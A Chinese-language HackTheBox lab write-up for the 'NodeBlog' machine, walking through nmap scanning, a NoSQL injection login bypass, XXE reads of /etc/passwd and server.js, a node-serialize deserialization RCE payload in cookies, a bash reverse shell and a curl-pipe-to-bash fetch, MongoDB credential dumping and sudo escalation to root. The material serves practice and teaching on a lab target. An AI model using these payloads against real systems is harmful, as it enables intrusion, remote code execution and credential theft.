> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md). # NodeBlog HackTheBox 复盘 NodeBlog HackTheBox 简单 Linux 机器复盘，涵盖 NoSQL 注入（认证绕过）、XXE 文件读取、NodeJS 反序列化攻击（滥用 IIFE）、Mongo 数据库枚举，并包含实用 {% embed url="" %} {% hint style="warning" %} **技能：** * NoSQL 注入（身份验证绕过） * XXE 文件读取 * NodeJS 反序列化攻击（滥用 IIFE） * Mongo 数据库枚举 {% endhint %} ## 侦察 **VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。
**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139 ```
使用 Nmap 对 22,5000 端口进行版本扫描 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV -p22,5000 10.10.11.139 -oN targeted ```
### 5000 端口分析 - NodeJS 应用程序
* 发现了一个管理面板。 * 该 `admin` 用户有效。
## NoSQL 注入漏洞（身份验证绕过） 使用 Burp Suite 拦截请求。
测试经典注入载荷： ```bash username=admin&password[$ne]=toto ``` 这不起作用。 转换为 JSON 并修改 `Content-Type` 更改为 `application/json`: ```sql { "user": "admin", "password": { "$ne": null } } ``` 结果：认证成功！
## 利用 XXE 注入漏洞
上传 TXT 文件：被拒绝，只接受 XML 文件。 ``` 你好，这是一个测试 ```
所需格式： ```xml 示例帖子 示例描述 示例 Markdown ```
发送一个包含外部实体的 XML 文件以读取 `/etc/passwd`: ```xml ]> 示例帖子 示例描述 &xxe; ``` 结果： `/etc/passwd` 的内容已显示。
* 发现一个用户 `admin`.
注入以读取 `/opt/blog/server.js` 并识别存储的凭据。
```bash ]> 示例帖子 示例描述 &xxe; ```
## 利用 NodeJS 反序列化 * 发现了一个反序列化会话 cookie 的函数。
创建载荷： {% code overflow="wrap" %} ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"} ``` {% endcode %} 使用以下命令监听 ICMP 流量： ```bash tcpdump -i tun0 icmp -n ``` * URL 编码：
{% code overflow="wrap" %} ```bash %7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d ``` {% endcode %} 通过 URL 编码构造 RCE 并注入到 cookie 中。
```bash tcpdump -i tun0 icmp -n ```
### RCE - 反序列化漏洞（nodejs） 创建 `index.html` 反向 shell 脚本： ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` 启动 HTTP 服务器： ```bash python3 -m http.server 80 ``` 监听： ```bash nc -nlvp 443 ``` #### 发送载荷： {% code overflow="wrap" %} ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"} ``` {% endcode %} * URL 编码： {% code overflow="wrap" %} ``` %7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d ``` {% endcode %} 结果：已获得 shell 访问权限。
### user.txt 标志 :)
## 权限提升 ### Mongo 数据库枚举
连接 MongoDB 数据库（27017 端口开放）： ```bash mongo show dbs use blog show tables db.users.find() ```
* 用户：admin * 密码：IppsecSaysPleaseSubscribe
### Sudo（ALL:ALL） 检查 sudo 权限： ```bash sudo -l ``` 结果：管理员用户可以运行 `sudo su` 无需密码。
切换到 root： ```bash sudo su ```
### root.txt 标志 :)
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